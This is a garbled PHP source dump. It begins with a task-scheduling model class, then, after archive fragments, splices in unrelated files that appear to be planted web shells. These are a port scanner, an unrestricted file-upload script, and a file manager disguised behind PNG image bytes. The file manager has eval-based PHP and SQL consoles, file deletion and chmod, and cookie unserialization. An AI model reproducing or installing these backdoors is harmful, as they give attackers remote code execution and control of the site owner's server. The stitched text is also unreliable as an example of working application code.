$params[':finished'] = $filters['finished']; // } // // if (isset($filters['assigned'])) { // $query .= ' AND tasks.is_assigned = :assigned'; // $params[':assigned'] = $filters['assigned']; // } // // $query .= ' ORDER BY tasks.created_at DESC, tasks.id DESC'; // // $this->db->query($query); // // // Bind parameters // foreach ($params as $key => $value) { // $this->db->bind($key, $value); // } // // return $this->db->resultSet(); // } public function getAllTasksByTaskProvider($taskProviderId, $filters = []) { $query = ' SELECT tasks.*, services.name AS service_name, services.region AS region, schedules.schedule_name, CONCAT(added_by_user.first_name, " ", added_by_user.last_name) AS added_by_name, CONCAT(updated_by_user.first_name, " ", updated_by_user.last_name) AS updated_by_name, CONCAT(assigned_to_user.first_name, " ", assigned_to_user.last_name) AS assigned_to_name FROM tasks LEFT JOIN schedules ON tasks.schedule_id = schedules.id LEFT JOIN services ON tasks.service_id = services.id LEFT JOIN users AS added_by_user ON tasks.added_by = added_by_user.id LEFT JOIN users AS updated_by_user ON tasks.updated_by = updated_by_user.id LEFT JOIN users AS assigned_to_user ON tasks.assigned_to = assigned_to_user.id '; $params = []; // Removed taskProviderId param // Apply filters if (!empty($filters['service_name'])) { $query .= ' WHERE services.name LIKE :service_name'; // Changed AND to WHERE for the first filter $params[':service_name'] = '%' . $filters['service_name'] . '%'; } if (!empty($filters['region'])) { $query .= isset($params[':service_name']) ? ' AND' : ' WHERE'; $query .= ' services.region LIKE :region'; $params[':region'] = '%' . $filters['region'] . '%'; } if (!empty($filters['frequency'])) { $query .= (isset($params[':service_name']) || isset($params[':region'])) ? ' AND' : ' WHERE'; $query .= ' tasks.frequency LIKE :frequency'; $params[':frequency'] = '%' . $filters['frequency'] . '%'; } if (isset($filters['public'])) { $query .= (isset($params[':service_name']) || isset($params[':region']) || isset($params[':frequency'])) ? ' AND' : ' WHERE'; $query .= ' tasks.isPublic = :public'; $params[':public'] = $filters['public']; } if (isset($filters['finished'])) { $query .= (isset($params[':service_name']) || isset($params[':region']) || isset($params[':frequency']) || isset($params[':public'])) ? ' AND' : ' WHERE'; $query .= ' tasks.finished = :finished'; $params[':finished'] = $filters['finished']; } if (isset($filters['assigned'])) { $query .= (isset($params[':service_name']) || isset($params[':region']) || isset($params[':frequency']) || isset($params[':public']) || isset($params[':finished'])) ? ' AND' : ' WHERE'; $query .= ' tasks.is_assigned = :assigned'; $params[':assigned'] = $filters['assigned']; } $query .= ' ORDER BY tasks.created_at DESC, tasks.id DESC'; $this->db->query($query); // Bind parameters foreach ($params as $key => $value) { $this->db->bind($key, $value); } return $this->db->resultSet(); } public function getAllSubtasksForTaskProviderGroupByDate($startDate = null, $endDate = null, $serviceLocationId = null, $taskProviderId = null) { try { // Get the current date and calculate the date range if not provided if (!$startDate || !$endDate) { $currentDate = date('Y-m-d'); $oneWeekBefore = date('Y-m-d', strtotime('-1 week', strtotime($currentDate))); $oneWeekAfter = date('Y-m-d', strtotime('+1 week', strtotime($currentDate))); $startDate = $startDate ?: $oneWeekBefore; $endDate = $endDate ?: $oneWeekAfter; } // SQL query to join subtasks with tasks, services, and schedules $sql = ' SELECT subtasks.subtask_date, subtasks.id, services.id AS service_id, services.name AS service_name, subtasks.subtask_time, subtasks.assigned, subtasks.completed, subtasks.ignored, subtasks.updated_at FROM subtasks INNER JOIN tasks ON subtasks.task_id = tasks.id INNER JOIN services ON tasks.service_id = services.id INNER JOIN schedules ON tasks.schedule_id = schedules.id WHERE subtasks.subtask_date BETWEEN :startDate AND :endDate AND schedules.created_by = :taskProviderId'; // Ensure tasks are created by the task provider // Add service location filter if provided if ($serviceLocationId) { $sql .= ' AND tasks.service_id = :serviceLocationId'; } $sql .= ' ORDER BY subtasks.subtask_date'; $this->db->query($sql); // Bind the parameters to the query $this->db->bind(':startDate', $startDate); $this->db->bind(':endDate', $endDate); $this->db->bind(':taskProviderId', $taskProviderId); if ($serviceLocationId) { $this->db->bind(':serviceLocationId', $serviceLocationId); } // Execute the query and fetch results $subtasks = $this->db->resultSet(); $groupedSubtasks = []; foreach ($subtasks as $subtask) { $date = $subtask->subtask_date; // Store subtask details in the grouped array if (!isset($groupedSubtasks[$date])) { $groupedSubtasks[$date] = []; } $groupedSubtasks[$date][] = [ 'id' => $subtask->id, 'service_id' => $subtask->service_id, 'service_name' => $subtask->service_name, 'subtask_time' => $subtask->subtask_time, 'assigned' => $subtask->assigned, 'completed' => $subtask->completed, 'ignored' => $subtask->ignored, 'updated_at' => $subtask->updated_at, 'subtask_date' => $date // Include subtask_date in each entry ]; } return $groupedSubtasks; } catch (PDOException $e) { // Handle database errors appropriately (log, throw further, etc.) error_log('Database error: ' . $e->getMessage()); return []; // Return empty array or handle error as needed } } public function getAllIncompletedSubtaksGroupByDate($startDate = null, $endDate = null) { try { // Get the current date and calculate the date range if not provided if (!$startDate || !$endDate) { $currentDate = date('Y-m-d'); $oneWeekBefore = date('Y-m-d', strtotime('-1 week', strtotime($currentDate))); $today = date('Y-m-d', strtotime('+1 day', strtotime($currentDate))); $startDate = $startDate ?: $oneWeekBefore; $endDate = $endDate ?: $today; } // Adjusted SQL query to join subtasks with tasks, services, and schedules $this->db->query(' SELECT subtasks.subtask_date, subtasks.id, services.id AS service_id, services.name AS service_name, subtasks.subtask_time, subtasks.assigned, subtasks.completed, subtasks.updated_at, subtasks.assigned_to_Mobile FROM subtasks INNER JOIN tasks ON subtasks.task_id = tasks.id INNER JOIN services ON tasks.service_id = services.id INNER JOIN schedules ON tasks.schedule_id = schedules.id WHERE subtasks.subtask_date BETWEEN :startDate AND :endDate AND subtasks.completed = 0 AND subtasks.assigned = 1 AND subtasks.ignored = 0 ORDER BY subtasks.subtask_date '); // Bind the task provider ID and date range to the query $this->db->bind(':startDate', $startDate); $this->db->bind(':endDate', $endDate); $subtasks = $this->db->resultSet(); $groupedSubtasks = []; foreach ($subtasks as $subtask) { $date = $subtask->subtask_date; // Store subtask details in the grouped array if (!isset($groupedSubtasks[$date])) { $groupedSubtasks[$date] = []; } $groupedSubtasks[$date][] = [ 'id' => $subtask->id, 'service_id' => $subtask->service_id, 'service_name' => $subtask->service_name, 'subtask_time' => $subtask->subtask_time, 'assigned' => $subtask->assigned, 'completed' => $subtask->completed, 'updated_at' => $subtask->updated_at, 'subtask_date' => $date // Include subtask_date in each entry ]; } return $groupedSubtasks; } catch (PDOException $e) { // Handle database errors appropriately (log, throw further, etc.) error_log('Database error: ' . $e->getMessage()); return []; // Return empty array or handle error as needed } } public function getAllSubtasksWithNotesGroupByDate($startDate = null, $endDate = null, $subcontractorId = null, $serviceLocationId = null) { try { // Get the current date and calculate the date range if not provided if (!$startDate || !$endDate) { $currentDate = date('Y-m-d'); $oneWeekBefore = date('Y-m-d', strtotime('-1 week', strtotime($currentDate))); $oneWeekAfter = date('Y-m-d', strtotime('+1 week', strtotime($currentDate))); $startDate = $startDate ?: $oneWeekBefore; $endDate = $endDate ?: $oneWeekAfter; if ($endDate < $startDate) { $endDate = $startDate; // Ensure end date is not before start date } } // SQL query to fetch subtasks and notes from form_submissions $sql = ' SELECT subtasks.id, subtasks.subtask_date, subtasks.subtask_time, subtasks.assigned, subtasks.updated_at, subtasks.completed, tasks.service_id, srv.name AS service_name, srv.region AS region, tasks.assignedCleaneremail, assignedUser.first_name AS assigned_user_first_name, assignedUser.last_name AS assigned_user_last_name, assignedUser.email AS assigned_user_email, COALESCE(fs.notes, "") AS notes FROM subtasks INNER JOIN tasks ON subtasks.task_id = tasks.id LEFT JOIN services srv ON tasks.service_id = srv.id LEFT JOIN users assignedUser ON tasks.assigned_to = assignedUser.id LEFT JOIN form_submissions fs ON subtasks.id = fs.subtask_id WHERE subtasks.subtask_date BETWEEN :startDate AND :endDate'; // Add additional filters to the SQL query if provided if ($subcontractorId) { $sql .= ' AND tasks.assigned_to = :subcontractorId'; } if ($serviceLocationId) { $sql .= ' AND tasks.service_id = :serviceLocationId'; } $sql .= ' ORDER BY subtasks.subtask_date'; $this->db->query($sql); // Bind parameters to the query $this->db->bind(':startDate', $startDate); $this->db->bind(':endDate', $endDate); // Bind additional filters if provided if ($subcontractorId) { $this->db->bind(':subcontractorId', $subcontractorId); } if ($serviceLocationId) { $this->db->bind(':serviceLocationId', $serviceLocationId); } // Execute the query and fetch all results $subtasks = $this->db->resultSet(); // Initialize an array to store grouped subtasks $groupedSubtasks = []; // Iterate through fetched subtasks and group them by date foreach ($subtasks as $subtask) { $date = $subtask->subtask_date; // Initialize an array for each date if not already initialized if (!isset($groupedSubtasks[$date])) { $groupedSubtasks[$date] = []; } // Add subtask details to the grouped array $groupedSubtasks[$date][] = [ 'id' => $subtask->id, 'service_name' => $subtask->service_name, 'subtask_time' => $subtask->subtask_time, 'assigned' => $subtask->assigned, 'updated_at' => $subtask->updated_at, 'subtask_date' => $date, 'completed' => $subtask->completed, 'region' => $subtask->region, 'assignedCleaneremail' => $subtask->assignedCleaneremail, 'assigned_user_first_name' => $subtask->assigned_user_first_name, 'assigned_user_last_name' => $subtask->assigned_user_last_name, 'assigned_user_email' => $subtask->assigned_user_email, 'notes' => $subtask->notes, // Include notes from form_submissions ]; } return $groupedSubtasks; // Return the grouped subtasks array } catch (PDOException $e) { // Handle database errors appropriately error_log('Database error: ' . $e->getMessage()); return []; // Return empty array on error } } public function getAllSubtasksWithNotesGroupByDateForSubContractors($startDate = null, $endDate = null, $subcontractorId = null, $serviceLocationId = null) { try { // Get the current date and calculate the date range if not provided if (!$startDate || !$endDate) { $currentDate = date('Y-m-d'); $oneWeekBefore = date('Y-m-d', strtotime('-1 week', strtotime($currentDate))); $oneWeekAfter = date('Y-m-d', strtotime('+1 week', strtotime($currentDate))); $startDate = $startDate ?: $oneWeekBefore; $endDate = $endDate ?: $oneWeekAfter; if ($endDate < $startDate) { $endDate = $startDate; // Ensure end date is not before start date } } // SQL query to fetch subtasks and notes specific to subcontractors $sql = ' SELECT subtasks.id, subtasks.subtask_date, subtasks.subtask_time, subtasks.assigned, subtasks.updated_at, subtasks.completed, tasks.service_id, srv.name AS service_name, srv.region AS region, assignedUser.first_name AS assigned_user_first_name, assignedUser.last_name AS assigned_user_last_name, COALESCE(fs.notes, "") AS notes FROM subtasks INNER JOIN tasks ON subtasks.task_id = tasks.id LEFT JOIN services srv ON tasks.service_id = srv.id LEFT JOIN users assignedUser ON tasks.assigned_to = assignedUser.id LEFT JOIN form_submissions fs ON subtasks.id = fs.subtask_id WHERE subtasks.subtask_date BETWEEN :startDate AND :endDate'; // Filter by subcontractor if ($subcontractorId) { $sql .= ' AND tasks.assigned_to = :subcontractorId'; } // Filter by service location if ($serviceLocationId) { $sql .= ' AND tasks.service_id = :serviceLocationId'; } $sql .= ' ORDER BY subtasks.subtask_date'; // Prepare the query $this->db->query($sql); // Bind parameters to the query $this->db->bind(':startDate', $startDate); $this->db->bind(':endDate', $endDate); if ($subcontractorId) { $this->db->bind(':subcontractorId', $subcontractorId); } if ($serviceLocationId) { $this->db->bind(':serviceLocationId', $serviceLocationId); } // Execute the query and fetch results $subtasks = $this->db->resultSet(); // Group subtasks by date $groupedSubtasks = []; foreach ($subtasks as $subtask) { $date = $subtask->subtask_date; // Initialize date group if not already initialized if (!isset($groupedSubtasks[$date])) { $groupedSubtasks[$date] = []; } // Add subtask to the date group $groupedSubtasks[$date][] = [ 'id' => $subtask->id, 'service_name' => $subtask->service_name, 'subtask_time' => $subtask->subtask_time, 'assigned' => $subtask->assigned, 'updated_at' => $subtask->updated_at, 'subtask_date' => $date, 'completed' => $subtask->completed, 'region' => $subtask->region, 'assigned_user_first_name' => $subtask->assigned_user_first_name, 'assigned_user_last_name' => $subtask->assigned_user_last_name, 'notes' => $subtask->notes, ]; } return $groupedSubtasks; } catch (PDOException $e) { // Log the error and return an empty result set on failure error_log('Database error: ' . $e->getMessage()); return []; } } public function getAllSubtasksWithNotesGroupByDateForTeamKidsAdmin($startDate = null, $endDate = null, $serviceLocationId = null) { try { // Get the current date and calculate the date range if not provided if (!$startDate || !$endDate) { $currentDate = date('Y-m-d'); $oneWeekBefore = date('Y-m-d', strtotime('-1 week', strtotime($currentDate))); $oneWeekAfter = date('Y-m-d', strtotime('+1 week', strtotime($currentDate))); $startDate = $startDate ?: $oneWeekBefore; $endDate = $endDate ?: $oneWeekAfter; if ($endDate < $startDate) { $endDate = $startDate; // Ensure end date is not before start date } } // SQL query to fetch all subtasks and notes, without subcontractor filter $sql = ' SELECT subtasks.id, subtasks.subtask_date, subtasks.subtask_time, subtasks.assigned, subtasks.updated_at, subtasks.completed, tasks.service_id, srv.name AS service_name, srv.region AS region, COALESCE(fs.notes, "") AS notes FROM subtasks INNER JOIN tasks ON subtasks.task_id = tasks.id LEFT JOIN services srv ON tasks.service_id = srv.id LEFT JOIN form_submissions fs ON subtasks.id = fs.subtask_id WHERE subtasks.subtask_date BETWEEN :startDate AND :endDate'; // Filter by service location if ($serviceLocationId) { $sql .= ' AND tasks.service_id = :serviceLocationId'; } $sql .= ' ORDER BY subtasks.subtask_date'; $this->db->query($sql); // Bind parameters to the query $this->db->bind(':startDate', $startDate); $this->db->bind(':endDate', $endDate); if ($serviceLocationId) { $this->db->bind(':serviceLocationId', $serviceLocationId); } // Execute the query and fetch results $subtasks = $this->db->resultSet(); // Group subtasks by date $groupedSubtasks = []; foreach ($subtasks as $subtask) { $date = $subtask->subtask_date; if (!isset($groupedSubtasks[$date])) { $groupedSubtasks[$date] = []; } // Add subtask to the group, hiding subcontractor details $groupedSubtasks[$date][] = [ 'id' => $subtask->id, 'service_name' => $subtask->service_name, 'subtask_time' => $subtask->subtask_time, 'assigned' => $subtask->assigned, 'updated_at' => $subtask->updated_at, 'subtask_date' => $date, 'completed' => $subtask->completed, 'region' => $subtask->region, 'notes' => $subtask->notes, ]; } return $groupedSubtasks; } catch (PDOException $e) { error_log('Database error: ' . $e->getMessage()); return []; } } public function getAllSubtasksForSubContractorsGroupByDateReport($startDate, $endDate , $serviceLocationId, $currentUserId ) { try { // Get the current date and calculate the date range if not provided $currentDate = date('Y-m-d'); // If the date range is not provided, set it to one week before and after the current date if (!$startDate) { $startDate = date('Y-m-d', strtotime('-1 week', strtotime($currentDate))); } if (!$endDate) { $endDate = date('Y-m-d', strtotime('+1 week', strtotime($currentDate))); } // Ensure the end date is not before the start date if ($endDate < $startDate) { $endDate = $startDate; } // SQL query to fetch subtasks along with task, service, and schedule details $sql = ' SELECT subtasks.subtask_date, subtasks.id, services.id AS service_id, services.name AS service_name, subtasks.subtask_time, subtasks.assigned, subtasks.completed, subtasks.ignored, subtasks.updated_at FROM subtasks INNER JOIN tasks ON subtasks.task_id = tasks.id INNER JOIN services ON tasks.service_id = services.id INNER JOIN schedules ON tasks.schedule_id = schedules.id WHERE subtasks.subtask_date BETWEEN :startDate AND :endDate AND tasks.assigned_to = :currentUserId'; // Add service location filter if provided if ($serviceLocationId) { $sql .= ' AND tasks.service_id = :serviceLocationId'; } $sql .= ' ORDER BY subtasks.subtask_date'; // Prepare the SQL query $this->db->query($sql); // Bind parameters to the query $this->db->bind(':startDate', $startDate); $this->db->bind(':endDate', $endDate); $this->db->bind(':currentUserId', $currentUserId); if ($serviceLocationId) { $this->db->bind(':serviceLocationId', $serviceLocationId); } // Execute the query and fetch results $subtasks = $this->db->resultSet(); $groupedSubtasks = []; foreach ($subtasks as $subtask) { $date = $subtask->subtask_date; // Store subtask details in the grouped array if (!isset($groupedSubtasks[$date])) { $groupedSubtasks[$date] = []; } $groupedSubtasks[$date][] = [ 'id' => $subtask->id, 'service_id' => $subtask->service_id, 'service_name' => $subtask->service_name, 'subtask_time' => $subtask->subtask_time, 'assigned' => $subtask->assigned, 'completed' => $subtask->completed, 'ignored' => $subtask->ignored, 'updated_at' => $subtask->updated_at, 'subtask_date' => $date // Include subtask_date in each entry ]; } return $groupedSubtasks; } catch (PDOException $e) { // Handle database errors appropriately (log, throw further, etc.) error_log('Database error in getAllSubtasksForSubContractorsGroupByDateReport: ' . $e->getMessage()); return []; // Return empty array or handle error as needed } } public function getAllServicesForDropdown() { $this->db->query('SELECT id, name FROM services'); return $this->db->resultSet(); } } ?> PKe\jsmtp.phpnu["; }} //port scan foreach ($ports as $port) { $connection = @fsockopen($site, $port, $errno, $errstr, 2); if (is_resource($connection)) { fclose($connection); } } } ?>PKe\6 ffmolmne.phpnu[
";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"
";?> > $file "; } } closedir($handle); } } ?> PKe\ index.phpnu[PKe\m3GDD997221/index.phpnu[‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '